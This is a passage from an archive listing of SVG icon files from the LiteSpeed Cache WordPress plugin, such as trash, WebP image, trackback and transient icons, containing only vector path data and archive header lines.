		c0.07,0.43,0.441,0.733,0.862,0.733c0.047,0,0.095-0.004,0.144-0.013c0.477-0.077,0.799-0.526,0.722-1.004
		c-0.89-5.442-0.259-10.584,0.351-15.558c0.621-5.061,1.26-10.293,0.355-15.938h1.768c-0.001,0.054-0.015,0.104-0.006,0.156
		c0.891,5.445,0.26,10.59-0.352,15.565c-0.625,5.097-1.271,10.365-0.34,16.058c0.069,0.428,0.44,0.732,0.861,0.732
		c0.047,0,0.096-0.004,0.143-0.012c0.478-0.078,0.801-0.527,0.723-1.006c-0.891-5.442-0.26-10.586,0.352-15.561
		c0.621-5.061,1.258-10.29,0.356-15.936h1.769c-0.002,0.053-0.016,0.103-0.007,0.156c0.89,5.442,0.259,10.586-0.352,15.56
		c-0.626,5.099-1.272,10.37-0.341,16.063c0.07,0.428,0.441,0.732,0.863,0.732c0.047,0,0.094-0.004,0.143-0.012
		c0.477-0.078,0.8-0.527,0.722-1.006c-0.892-5.444-0.261-10.59,0.351-15.566c0.619-5.057,1.258-10.287,0.357-15.928h1.764
		c0,0.052-0.015,0.102-0.006,0.154c0.889,5.443,0.258,10.586-0.352,15.561c-0.626,5.099-1.271,10.369-0.34,16.063
		c0.07,0.43,0.44,0.733,0.861,0.733c0.047,0,0.096-0.004,0.144-0.013c0.477-0.078,0.8-0.526,0.722-1.004
		c-0.893-5.445-0.261-10.592,0.35-15.567c0.434-3.524,0.863-7.14,0.787-10.914h1.236c1.585,0,2.875-1.29,2.875-2.875v-6.028
		C64,35.023,62.71,33.733,61.125,33.733z M50.375,4.913l6.111,5.849H51.5c-0.62,0-1.125-0.505-1.125-1.125V4.913z M17.353,4.865
		c0-0.62,0.505-1.125,1.125-1.125h30.147v5.896c0,1.585,1.29,2.875,2.875,2.875h6.292v21.222H17.353V4.865z M62.25,42.637
		c0,0.62-0.505,1.125-1.125,1.125h-1.313c-0.07-1.085-0.179-2.181-0.356-3.296c0.403-0.077,0.715-0.416,0.715-0.843
		c0-0.482-0.392-0.875-0.875-0.875H15.139c-0.483,0-0.875,0.393-0.875,0.875s0.392,0.875,0.875,0.875h0.548
		c-0.001,0.053-0.015,0.104-0.006,0.156c0.172,1.05,0.273,2.084,0.343,3.111c-0.008,0-0.015-0.005-0.023-0.005h-1.876
		c-0.62,0-1.125-0.505-1.125-1.125v-6.028c0-0.62,0.505-1.125,1.125-1.125h47c0.62,0,1.125,0.505,1.125,1.125V42.637z"/>
	<path fill="#6699CC" d="M21.625,17.888H52.25c0.482,0,0.875-0.392,0.875-0.875s-0.393-0.875-0.875-0.875H21.625
		c-0.483,0-0.875,0.392-0.875,0.875S21.142,17.888,21.625,17.888z"/>
	<path fill="#6699CC" d="M52.25,29.148H21.625c-0.483,0-0.875,0.392-0.875,0.875s0.392,0.875,0.875,0.875H52.25
		c0.482,0,0.875-0.392,0.875-0.875S52.732,29.148,52.25,29.148z"/>
	<path fill="#6699CC" d="M52.25,22.644H21.625c-0.483,0-0.875,0.392-0.875,0.875s0.392,0.875,0.875,0.875H52.25
		c0.482,0,0.875-0.392,0.875-0.875S52.732,22.644,52.25,22.644z"/>
</g>
</svg>
litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/img/icons/trash_comment.svg000064400000014532151031165260023051 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.3, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="75px" height="75px" viewBox="0 0 75 75" enable-background="new 0 0 75 75" xml:space="preserve">
<g>
	<path fill="#6699CC" d="M62.324,17.893l2.085-2.085c0.366-0.367,0.569-0.855,0.569-1.374s-0.203-1.007-0.568-1.374L53.094,1.743
		c-0.365-0.367-0.854-0.57-1.373-0.57c-0.519,0-1.007,0.202-1.373,0.569l-7.883,7.882c-0.064-0.08-0.141-0.154-0.234-0.21
		l-7.519-4.431c-0.447-0.264-0.969-0.338-1.472-0.208c-0.503,0.13-0.924,0.448-1.188,0.896l-3.12,5.293l-1.2-2.208
		c-0.249-0.457-0.66-0.789-1.159-0.936c-0.497-0.146-1.023-0.09-1.476,0.157L11.034,15.62c-0.938,0.511-1.287,1.692-0.778,2.634
		l4.606,8.477c-1.289,0.254-2.264,1.391-2.264,2.753c0,0.034,0.002,0.068,0.006,0.103l4.831,40.993
		c0.03,1.523,1.278,2.753,2.808,2.753H49.25c1.529,0,2.777-1.229,2.809-2.753l4.832-40.993c0.004-0.034,0.006-0.068,0.006-0.103
		c0-1.549-1.26-2.809-2.81-2.809h-0.544l2.629-2.629l8.118-2.356c0.297-0.086,0.526-0.323,0.604-0.623
		c0.076-0.3-0.011-0.618-0.229-0.836L62.324,17.893z M33.561,6.558c0.034-0.057,0.083-0.08,0.118-0.089
		c0.033-0.01,0.087-0.013,0.145,0.021l7.408,4.367l-9.371,9.371c-0.757,0.757-0.756,1.99,0,2.747l3.7,3.701h-3.046l0.714-1.211
		c0.245-0.417,0.106-0.953-0.31-1.198c-0.417-0.245-0.953-0.106-1.198,0.31l-1.163,1.973c-0.024,0.041-0.027,0.085-0.044,0.127
		h-3.032L35.366,13.3c0.245-0.417,0.107-0.953-0.31-1.198s-0.953-0.107-1.198,0.31l-8.307,14.094
		c-0.032,0.054-0.04,0.113-0.059,0.17h-3.789L33.561,6.558z M11.871,17.157l14.066-7.644c0.056-0.031,0.109-0.026,0.144-0.015
		c0.035,0.011,0.083,0.035,0.115,0.093l1.266,2.328c0.138,0.254,0.386,0.397,0.653,0.434l-2.13,3.613l-0.291-0.535
		c-0.23-0.424-0.763-0.582-1.187-0.351c-0.424,0.231-0.582,0.762-0.351,1.187l0.388,0.713c0.127,0.234,0.346,0.381,0.588,0.433
		l-1.715,2.908L21.884,17.5c-0.23-0.424-0.762-0.582-1.187-0.351c-0.424,0.23-0.582,0.762-0.351,1.187l1.535,2.824
		c0.158,0.292,0.459,0.457,0.77,0.457c0.001,0,0.002,0,0.003,0l-1.833,3.109c-0.017-0.077-0.03-0.155-0.07-0.228l-2.677-4.926
		c-0.231-0.424-0.763-0.582-1.187-0.351c-0.424,0.231-0.582,0.762-0.351,1.187l2.677,4.926c0.159,0.292,0.459,0.457,0.77,0.457
		c0.084,0,0.165-0.038,0.248-0.063l-0.269,0.457c-0.091,0.155-0.113,0.325-0.104,0.492h-3.034l-5.03-9.255
		C11.743,17.326,11.778,17.208,11.871,17.157z M55.145,29.44l-4.83,40.981c-0.004,0.034-0.006,0.068-0.006,0.103
		c0,0.584-0.475,1.06-1.059,1.06H20.243c-0.583,0-1.059-0.476-1.059-1.06c0-0.033-0.002-0.067-0.006-0.103l-4.83-40.981
		c0.023-0.563,0.489-1.015,1.058-1.015h38.681C54.656,28.425,55.121,28.876,55.145,29.44z M55.468,22.428
		c-0.142,0.041-0.271,0.117-0.375,0.222l-4.024,4.025h-3.877l10.588-10.586c0.341-0.342,0.341-0.896,0-1.237
		c-0.342-0.342-0.896-0.342-1.238,0l-11.57,11.569c-0.076,0.075-0.128,0.163-0.17,0.254h-6.765l-4.937-4.938
		c-0.075-0.075-0.075-0.197,0-0.272L51.585,2.979c0.047-0.046,0.101-0.056,0.136-0.056c0.036,0,0.088,0.01,0.135,0.057
		l11.317,11.318c0.048,0.046,0.058,0.1,0.058,0.136c0,0.036-0.01,0.089-0.059,0.136l-2.704,2.705
		c-0.163,0.164-0.256,0.387-0.256,0.619s0.093,0.455,0.257,0.619l1.911,1.911L55.468,22.428z"/>
	<path fill="#6699CC" d="M51.648,8.721c-0.342-0.342-0.896-0.342-1.238,0L38.84,20.289c-0.341,0.341-0.341,0.896,0,1.237
		c0.172,0.171,0.396,0.256,0.619,0.256s0.448-0.085,0.619-0.256l11.57-11.568C51.988,9.617,51.99,9.063,51.648,8.721z"/>
	<path fill="#6699CC" d="M53.475,11.787L41.906,23.356c-0.342,0.342-0.342,0.896,0,1.237c0.171,0.171,0.396,0.256,0.619,0.256
		c0.223,0,0.447-0.085,0.619-0.256l11.566-11.569c0.342-0.342,0.341-0.896,0-1.237C54.37,11.445,53.814,11.445,53.475,11.787z"/>
	<path fill="#6699CC" d="M26.256,54.037l1.131,0.652l0.001-4.361l-3.779,2.18l1.131,0.653l-0.326,0.565
		c-0.896,1.549-1.013,3.057-0.329,4.242s2.047,1.84,3.838,1.84h4.415c0.483,0,0.875-0.393,0.875-0.875
		c0-0.483-0.392-0.875-0.875-0.875h-4.415c-1.123,0-1.969-0.353-2.323-0.965c-0.354-0.611-0.234-1.521,0.328-2.492L26.256,54.037z"
		/>
	<path fill="#6699CC" d="M29.08,47.398c0.138,0.08,0.289,0.117,0.437,0.117c0.302,0,0.596-0.156,0.758-0.438l2.221-3.844
		c0.371-0.641,0.817-1.09,1.325-1.336c0.454-0.221,0.896-0.222,1.35,0.002c0.506,0.244,0.95,0.692,1.322,1.336l0.366,0.632
		l-1.131,0.653l3.779,2.18l-0.003-4.362l-1.13,0.653l-0.366-0.633c-0.55-0.95-1.248-1.635-2.073-2.034
		c-0.926-0.449-1.946-0.45-2.875-0.003c-0.83,0.402-1.529,1.088-2.078,2.037l-2.221,3.844C28.519,46.622,28.662,47.157,29.08,47.398
		z"/>
	<path fill="#6699CC" d="M36.654,58.934l3.778,2.183v-1.308h0.637c1.791,0,3.154-0.652,3.84-1.84
		c0.684-1.187,0.566-2.693-0.33-4.242l-2.25-3.895c-0.241-0.419-0.776-0.561-1.195-0.32c-0.419,0.242-0.563,0.777-0.32,1.195
		l2.252,3.896c0.562,0.971,0.682,1.879,0.328,2.492c-0.354,0.611-1.199,0.963-2.322,0.963h-0.637v-1.307L36.654,58.934z"/>
	<path fill="#6699CC" d="M26.13,63.1c-0.48,0.053-0.826,0.485-0.772,0.967l0.327,2.906c0.05,0.447,0.429,0.777,0.869,0.777
		c0.033,0,0.065-0.002,0.099-0.006c0.48-0.055,0.826-0.486,0.772-0.967l-0.327-2.907C27.043,63.391,26.613,63.048,26.13,63.1z"/>
	<path fill="#6699CC" d="M24.216,46.914c0.032,0,0.065-0.002,0.099-0.006c0.48-0.055,0.826-0.486,0.772-0.967l-1.294-11.54
		c-0.054-0.479-0.481-0.822-0.967-0.772c-0.48,0.054-0.826,0.487-0.772,0.967l1.294,11.539
		C23.397,46.584,23.776,46.914,24.216,46.914z"/>
	<path fill="#6699CC" d="M43.361,63.1c-0.489-0.06-0.912,0.291-0.967,0.771l-0.326,2.906c-0.055,0.479,0.291,0.912,0.771,0.967
		c0.033,0.004,0.066,0.006,0.1,0.006c0.438,0,0.817-0.33,0.867-0.777l0.326-2.906C44.188,63.586,43.843,63.152,43.361,63.1z"/>
	<path fill="#6699CC" d="M45.176,46.932c0.033,0.004,0.066,0.006,0.1,0.006c0.438,0,0.817-0.33,0.867-0.776l1.297-11.563
		c0.056-0.48-0.291-0.914-0.771-0.967c-0.487-0.049-0.913,0.292-0.967,0.772l-1.298,11.563
		C44.35,46.445,44.695,46.878,45.176,46.932z"/>
	<path fill="#6699CC" d="M34.552,63.125c-0.483,0-0.875,0.393-0.875,0.875v2.875c0,0.482,0.392,0.875,0.875,0.875
		c0.483,0,0.875-0.393,0.875-0.875V64C35.427,63.518,35.036,63.125,34.552,63.125z"/>
	<path fill="#6699CC" d="M34.552,37.187c0.483,0,0.875-0.392,0.875-0.875V34.5c0-0.483-0.392-0.875-0.875-0.875
		c-0.483,0-0.875,0.392-0.875,0.875v1.812C33.677,36.795,34.069,37.187,34.552,37.187z"/>
</g>
</svg>
litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/img/icons/img_webp.svg000064400000007011151031165260021771 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.3, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="30px" height="30px" viewBox="0 0 30 30" enable-background="new 0 0 30 30" xml:space="preserve">
<circle fill="none" cx="15" cy="15.894" r="5.317"/>
<path fill="#83B04A" d="M8.71,5.417H4.312V5.124c0-0.608,0.492-1.101,1.1-1.101h2.198c0.607,0,1.101,0.492,1.101,1.101V5.417z
	 M29.481,8.01v15.766c0,1.217-0.984,2.201-2.199,2.201H2.719c-1.215,0-2.2-0.984-2.2-2.201V8.01c0-1.215,0.985-2.2,2.2-2.2h17.311
	l0.06,0.041l-0.596,0.408c-0.273,0.188-0.392,0.539-0.288,0.85c0.096,0.296,0.368,0.5,0.733,0.519l0.722-0.021l-0.241,0.679
	c-0.111,0.312-0.001,0.665,0.266,0.858c0.128,0.093,0.28,0.143,0.439,0.143c0.162,0,0.323-0.053,0.458-0.155l0.57-0.439l0.205,0.695
	c0.097,0.319,0.386,0.534,0.719,0.534s0.622-0.215,0.72-0.538L24,8.691l0.574,0.442c0.13,0.098,0.291,0.152,0.454,0.152
	c0.158,0,0.31-0.048,0.442-0.143c0.266-0.194,0.374-0.547,0.264-0.857l-0.241-0.68l0.752,0.021c0.336-0.012,0.605-0.212,0.701-0.514
	c0.104-0.314-0.014-0.665-0.288-0.854L26.063,5.85l0.06-0.041h1.159C28.497,5.81,29.481,6.795,29.481,8.01z M20.317,15.894
	c0-2.937-2.38-5.317-5.317-5.317c-2.936,0-5.316,2.381-5.316,5.317s2.381,5.317,5.316,5.317
	C17.938,21.211,20.317,18.83,20.317,15.894z M26.376,6.67c0.091,0.063,0.131,0.178,0.096,0.283
	c-0.033,0.105-0.121,0.168-0.244,0.173l-1.45-0.041l0.486,1.367c0.037,0.104,0.001,0.221-0.088,0.286
	c-0.09,0.064-0.212,0.063-0.3-0.004L23.727,7.85l-0.41,1.392c-0.032,0.106-0.13,0.179-0.24,0.179s-0.208-0.073-0.24-0.179
	l-0.41-1.392l-1.148,0.885c-0.089,0.066-0.211,0.068-0.299,0.004c-0.09-0.065-0.126-0.182-0.089-0.286l0.486-1.367l-1.451,0.041
	c-0.114-0.006-0.21-0.067-0.244-0.173c-0.035-0.105,0.005-0.221,0.096-0.283l1.197-0.82l-0.06-0.041l-1.138-0.78
	c-0.091-0.063-0.131-0.178-0.096-0.283c0.034-0.105,0.132-0.163,0.244-0.173l1.451,0.041L20.89,3.248
	c-0.037-0.104-0.001-0.221,0.089-0.286c0.088-0.065,0.21-0.063,0.299,0.004l1.148,0.884l0.41-1.392c0.064-0.213,0.416-0.213,0.48,0
	l0.41,1.392l1.149-0.885c0.088-0.068,0.21-0.069,0.3-0.004c0.089,0.065,0.125,0.182,0.088,0.286l-0.486,1.366l1.45-0.04
	c0.121,0.008,0.211,0.067,0.244,0.173c0.035,0.105-0.005,0.221-0.096,0.283l-1.138,0.78l-0.06,0.041L26.376,6.67z M25.393,6.603
	l-0.798-0.547c-0.067-0.046-0.108-0.124-0.108-0.206c0-0.014,0.008-0.027,0.01-0.041c0.012-0.066,0.043-0.127,0.099-0.166
	l0.798-0.547l-0.967,0.027c-0.069,0.017-0.16-0.036-0.209-0.103s-0.061-0.153-0.033-0.231l0.324-0.911l-0.766,0.589
	c-0.064,0.051-0.15,0.066-0.229,0.04c-0.078-0.025-0.14-0.088-0.163-0.167l-0.273-0.929l-0.273,0.929
	c-0.023,0.079-0.085,0.142-0.163,0.167c-0.078,0.026-0.164,0.012-0.229-0.04L21.646,3.88l0.324,0.91
	c0.027,0.078,0.016,0.164-0.033,0.231c-0.048,0.066-0.142,0.101-0.209,0.103L20.76,5.097l0.798,0.547
	c0.056,0.039,0.087,0.1,0.099,0.166c0.002,0.014,0.01,0.026,0.01,0.041c0,0.083-0.041,0.16-0.108,0.206L20.76,6.603l0.968-0.027
	c0.086,0,0.161,0.037,0.209,0.103c0.049,0.067,0.061,0.153,0.033,0.231l-0.324,0.91l0.765-0.589
	c0.044-0.034,0.098-0.052,0.152-0.052c0.026,0,0.052,0.004,0.077,0.012c0.078,0.025,0.14,0.088,0.163,0.167l0.273,0.929l0.273-0.929
	c0.023-0.079,0.085-0.142,0.163-0.167c0.079-0.024,0.165-0.011,0.229,0.04l0.766,0.589l-0.324-0.91
	c-0.027-0.078-0.016-0.164,0.033-0.231c0.048-0.067,0.121-0.122,0.209-0.103L25.393,6.603z"/>
</svg>
litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/img/icons/trackback-pingback.svg000064400000005032151031165260023702 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.3, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="75px" height="75px" viewBox="0 0 75 75" enable-background="new 0 0 75 75" xml:space="preserve">
<g>
	<path fill="#6699CC" d="M13.333,10.792c-0.483,0-0.875,0.392-0.875,0.875v2.167c0,0.483,0.392,0.875,0.875,0.875
		s0.875-0.392,0.875-0.875v-2.167C14.208,11.183,13.817,10.792,13.333,10.792z"/>
	<path fill="#6699CC" d="M34.926,34.313V11.001c0-0.167-0.059-0.314-0.141-0.447c-0.044-0.108-0.109-0.21-0.198-0.297l-6.291-6.118
		C28.267,4.111,28.23,4.1,28.199,4.077c-0.161-0.181-0.388-0.301-0.649-0.301H11.926c-1.034,0-1.875,0.841-1.875,1.875v28.662
		c0,1.034,0.841,1.875,1.875,1.875h21.125C34.084,36.188,34.926,35.346,34.926,34.313z M28.425,6.706l3.517,3.42H28.55
		c-0.069,0-0.125-0.056-0.125-0.125V6.706z M11.801,34.313V5.65c0-0.069,0.056-0.125,0.125-0.125h14.749v4.476
		c0,1.034,0.841,1.875,1.875,1.875h4.626v22.437c0,0.069-0.056,0.125-0.125,0.125H11.926C11.857,34.438,11.801,34.381,11.801,34.313
		z"/>
	<path fill="#6699CC" d="M64.809,45.588c-0.045-0.105-0.109-0.207-0.197-0.293l-6.291-6.119c-0.028-0.027-0.064-0.039-0.096-0.062
		c-0.16-0.183-0.389-0.302-0.649-0.302H41.949c-1.034,0-1.875,0.84-1.875,1.875V69.35c0,1.034,0.841,1.875,1.875,1.875h21.125
		c1.033,0,1.875-0.841,1.875-1.875V46.037C64.949,45.869,64.891,45.723,64.809,45.588z M58.449,41.743l3.515,3.419h-3.39
		c-0.069,0-0.125-0.057-0.125-0.125V41.743z M63.199,69.35c0,0.069-0.057,0.125-0.125,0.125H41.949
		c-0.069,0-0.125-0.056-0.125-0.125V40.688c0-0.068,0.056-0.125,0.125-0.125h14.75v4.476c0,1.034,0.841,1.875,1.875,1.875h4.625
		V69.35z"/>
	<path fill="#6699CC" d="M44.533,44.016c-0.483,0-0.875,0.393-0.875,0.875v2.168c0,0.482,0.392,0.875,0.875,0.875
		c0.482,0,0.875-0.393,0.875-0.875v-2.168C45.408,44.407,45.018,44.016,44.533,44.016z"/>
	<path fill="#6699CC" d="M47.535,44.016c-0.483,0-0.875,0.393-0.875,0.875v2.168c0,0.482,0.392,0.875,0.875,0.875
		c0.482,0,0.875-0.393,0.875-0.875v-2.168C48.41,44.407,48.02,44.016,47.535,44.016z"/>
	<polygon fill="#6699CC" points="31.548,44.113 25.648,42.532 27.229,48.432 28.769,46.893 34.5,52.622 35.737,51.384 
		30.007,45.652 	"/>
	<polygon fill="#6699CC" points="43.452,30.886 49.352,32.467 47.771,26.567 46.23,28.108 40.501,22.378 39.264,23.616 
		44.992,29.346 	"/>
</g>
</svg>
litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/img/icons/all_transients.svg000064400000006441151031165260023230 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.3, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="75px" height="75px" viewBox="0 0 75 75" enable-background="new 0 0 75 75" xml:space="preserve">
<g>
	<path fill="#6699CC" d="M65.485,21.85c-0.045-0.113-0.106-0.219-0.2-0.308l-8.679-8.336c-0.027-0.026-0.063-0.038-0.096-0.059
		c-0.057-0.043-0.112-0.088-0.18-0.115c-0.068-0.028-0.138-0.033-0.21-0.042c-0.036-0.005-0.068-0.021-0.106-0.021h-0.017h-0.002
		h-2.861c-0.022-0.031-0.037-0.068-0.066-0.096l-5.014-4.817c-0.03-0.029-0.069-0.041-0.103-0.065
		c-0.056-0.04-0.106-0.082-0.171-0.108c-0.069-0.028-0.142-0.034-0.214-0.043c-0.035-0.004-0.066-0.021-0.104-0.021h-0.017
		c-0.001,0-0.001,0-0.002,0h-2.758c-0.045-0.116-0.107-0.226-0.202-0.317l-5.566-5.346c-0.027-0.028-0.063-0.039-0.095-0.062
		c-0.059-0.042-0.112-0.086-0.178-0.113c-0.071-0.029-0.146-0.036-0.222-0.045c-0.032-0.004-0.063-0.02-0.097-0.02h-0.016
		c0,0-0.002,0-0.004,0H12.87c-1.328,0-2.409,1.081-2.409,2.409v52.485c0,1.327,1.081,2.407,2.409,2.407h3.292
		c0.135,0,0.258-0.037,0.373-0.095v4.823c0,1.349,1.097,2.445,2.444,2.445h3.913v4.391c0,1.374,1.118,2.492,2.493,2.492h37.689
		c1.374,0,2.492-1.117,2.492-2.492V22.204C65.566,22.077,65.532,21.959,65.485,21.85z M56.867,15.82l5.768,5.541l-5.768,0.022V15.82
		z M48.315,10.67l2.393,2.298h-2.393V10.67z M39.182,4.769l3.175,3.049h-3.175V4.769z M16.535,10.262v47.348
		c-0.114-0.058-0.238-0.096-0.373-0.096H12.87c-0.389,0-0.705-0.315-0.705-0.703V4.326c0-0.388,0.316-0.705,0.705-0.705h24.607
		v4.197H18.979C17.631,7.818,16.535,8.914,16.535,10.262z M18.979,64.688c-0.408,0-0.74-0.332-0.74-0.741V10.262
		c0-0.407,0.332-0.739,0.74-0.739h27.632v3.446H25.385c-1.375,0-2.493,1.118-2.493,2.493v49.226L18.979,64.688L18.979,64.688z
		 M63.862,70.782c0,0.435-0.354,0.788-0.788,0.788H25.385c-0.435,0-0.789-0.353-0.789-0.788V15.461c0-0.435,0.354-0.789,0.789-0.789
		h29.777v6.71c0,0.922,0.752,1.673,1.673,1.673h7.027V70.782z"/>
	<path fill="#6699CC" d="M44.111,31.051c-5.154,0-9.888,2.696-12.542,7.079l-2.011-0.76l0.963,5.869l4.603-3.769l-1.931-0.729
		c2.222-3.477,5.952-5.688,10.066-5.958v0.826c0,0.47,0.382,0.852,0.852,0.852c0.471,0,0.853-0.382,0.853-0.852v-0.811
		c6.473,0.423,11.653,5.604,12.077,12.078H56.3c-0.47,0-0.852,0.381-0.852,0.852c0,0.47,0.382,0.853,0.852,0.853h0.741
		c-0.422,6.433-5.542,11.593-11.959,12.071v-0.85c0-0.472-0.382-0.852-0.853-0.852c-0.47,0-0.852,0.38-0.852,0.852v0.868
		c-5.945-0.335-10.939-4.687-12.017-10.604c-0.084-0.464-0.529-0.767-0.992-0.687c-0.463,0.084-0.77,0.528-0.686,0.991
		c1.27,6.975,7.338,12.036,14.428,12.036c0.031,0,0.063-0.006,0.095-0.006c0.009,0,0.016,0.006,0.023,0.006
		c0.015,0,0.024-0.009,0.04-0.009c8.019-0.086,14.519-6.631,14.519-14.67C58.788,37.636,52.204,31.051,44.111,31.051z"/>
	<path fill="#6699CC" d="M43.238,53.289c0,0.471,0.383,0.852,0.853,0.852s0.853-0.381,0.853-0.852v-7.206l4.024-4.023
		c0.331-0.333,0.333-0.872,0-1.204c-0.334-0.334-0.875-0.334-1.206-0.002l-4.272,4.273c-0.079,0.079-0.142,0.173-0.184,0.277
		c-0.044,0.104-0.066,0.215-0.066,0.325l0,0L43.238,53.289L43.238,53.289z"/>
</g>
</svg>
litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/img/icons/cross_icon.svg000064400000006650151031165260022351 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.3, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="20px" height="20px" viewBox="0 0 20 20" enable-background="new 0 0 20 20" xml:space="preserve">
<g id="Layer_1_1_" display="none">
	<path display="inline" fill="#E8AE4A" d="M10,0C4.477,0,0,4.478,0,10c0,5.521,4.477,10,10,10c5.521,0,10-4.479,10-10
		C20,4.478,15.521,0,10,0z M11.329,16.83c-0.362,0.361-0.804,0.545-1.313,0.545s-0.949-0.184-1.312-0.545
		c-0.361-0.362-0.544-0.805-0.544-1.313c0-0.51,0.18-0.951,0.537-1.316c0.357-0.363,0.802-0.551,1.318-0.551
		c0.512,0,0.953,0.184,1.313,0.543c0.359,0.361,0.542,0.808,0.542,1.324C11.871,16.027,11.688,16.468,11.329,16.83z M11.389,7.468
		l-0.535,2.207c-0.185,0.771-0.321,1.7-0.409,2.763c-0.01,0.111-0.104,0.198-0.216,0.198H9.783c-0.114,0-0.209-0.089-0.216-0.202
		c-0.046-0.754-0.201-1.683-0.46-2.759L8.58,7.467C8.257,6.115,8.099,5.169,8.099,4.572c0-0.576,0.177-1.049,0.527-1.406
		c0.351-0.358,0.813-0.541,1.37-0.541c0.543,0,1.004,0.183,1.363,0.544c0.357,0.36,0.541,0.822,0.541,1.373
		C11.9,5.077,11.734,6.033,11.389,7.468z"/>
</g>
<g id="Layer_1_copy_3" display="none">
	<path display="inline" fill="#4675B8" d="M10,0C4.477,0,0,4.478,0,10c0,5.521,4.477,10,10,10c5.521,0,10-4.479,10-10
		C20,4.478,15.521,0,10,0z M11.329,16.83c-0.362,0.361-0.804,0.545-1.313,0.545s-0.949-0.184-1.312-0.545
		c-0.361-0.362-0.544-0.805-0.544-1.313c0-0.51,0.18-0.951,0.537-1.316c0.357-0.363,0.802-0.551,1.318-0.551
		c0.512,0,0.953,0.184,1.313,0.543c0.359,0.361,0.542,0.808,0.542,1.324C11.871,16.027,11.688,16.468,11.329,16.83z M11.389,7.468
		l-0.535,2.207c-0.185,0.771-0.321,1.7-0.409,2.763c-0.01,0.111-0.104,0.198-0.216,0.198H9.783c-0.114,0-0.209-0.089-0.216-0.202
		c-0.046-0.754-0.201-1.683-0.46-2.759L8.58,7.467C8.257,6.115,8.099,5.169,8.099,4.572c0-0.576,0.177-1.049,0.527-1.406
		c0.351-0.358,0.813-0.541,1.37-0.541c0.543,0,1.004,0.183,1.363,0.544c0.357,0.36,0.541,0.822,0.541,1.373
		C11.9,5.077,11.734,6.033,11.389,7.468z"/>
</g>
<g id="Layer_1_copy" display="none">
	<path display="inline" fill="#A32430" d="M10,0C4.477,0,0,4.478,0,10c0,5.521,4.477,10,10,10c5.521,0,10-4.479,10-10
		C20,4.478,15.521,0,10,0z M15.159,13.764c0.187,0.188,0.288,0.438,0.288,0.697c0,0.262-0.102,0.51-0.288,0.695
		c-0.185,0.184-0.438,0.289-0.698,0.289c-0.262,0-0.518-0.105-0.697-0.291L10,11.393l-3.764,3.766c-0.361,0.359-1.033,0.359-1.393,0
		c-0.187-0.186-0.29-0.434-0.29-0.695s0.103-0.512,0.289-0.695L8.606,10L4.842,6.234c-0.385-0.384-0.385-1.01,0-1.394
		c0.359-0.361,1.032-0.361,1.394,0L10,8.604l3.766-3.765c0.356-0.359,1.033-0.361,1.396,0c0.188,0.185,0.288,0.433,0.288,0.697
		c0.001,0.264-0.104,0.511-0.288,0.697l-3.767,3.764L15.159,13.764z"/>
</g>
<g>
	<circle fill="#CC3D6A" cx="10" cy="10" r="9.967"/>
</g>
<path fill="#FFFFFF" d="M11.414,10l3.503-3.503c0.392-0.391,0.392-1.024,0-1.414c-0.392-0.391-1.022-0.391-1.414,0L10,8.586
	L6.497,5.082c-0.391-0.391-1.023-0.391-1.414,0c-0.391,0.39-0.391,1.023,0,1.414L8.586,10l-3.503,3.504
	c-0.391,0.391-0.391,1.023,0,1.414c0.195,0.195,0.451,0.293,0.707,0.293s0.512-0.098,0.707-0.293L10,11.414l3.502,3.503
	c0.195,0.194,0.451,0.293,0.707,0.293s0.512-0.099,0.707-0.293c0.391-0.392,0.391-1.022,0-1.414L11.414,10z"/>
</svg>
litespeed-wp-plugin/7.5.0.1/litespeed-cache/assets/img/icons/trash_post.svg000064400000011716151031165260022375 0ustar00<?xml version="1.0" encoding="utf-8"?>
<!-- Generator: Adobe Illustrator 16.0.3, SVG Export Plug-In . SVG Version: 6.00 Build 0)  -->
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" id="Layer_1" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" x="0px" y="0px"
	 width="75px" height="75px" viewBox="0 0 75 75" enable-background="new 0 0 75 75" xml:space="preserve">
<g>
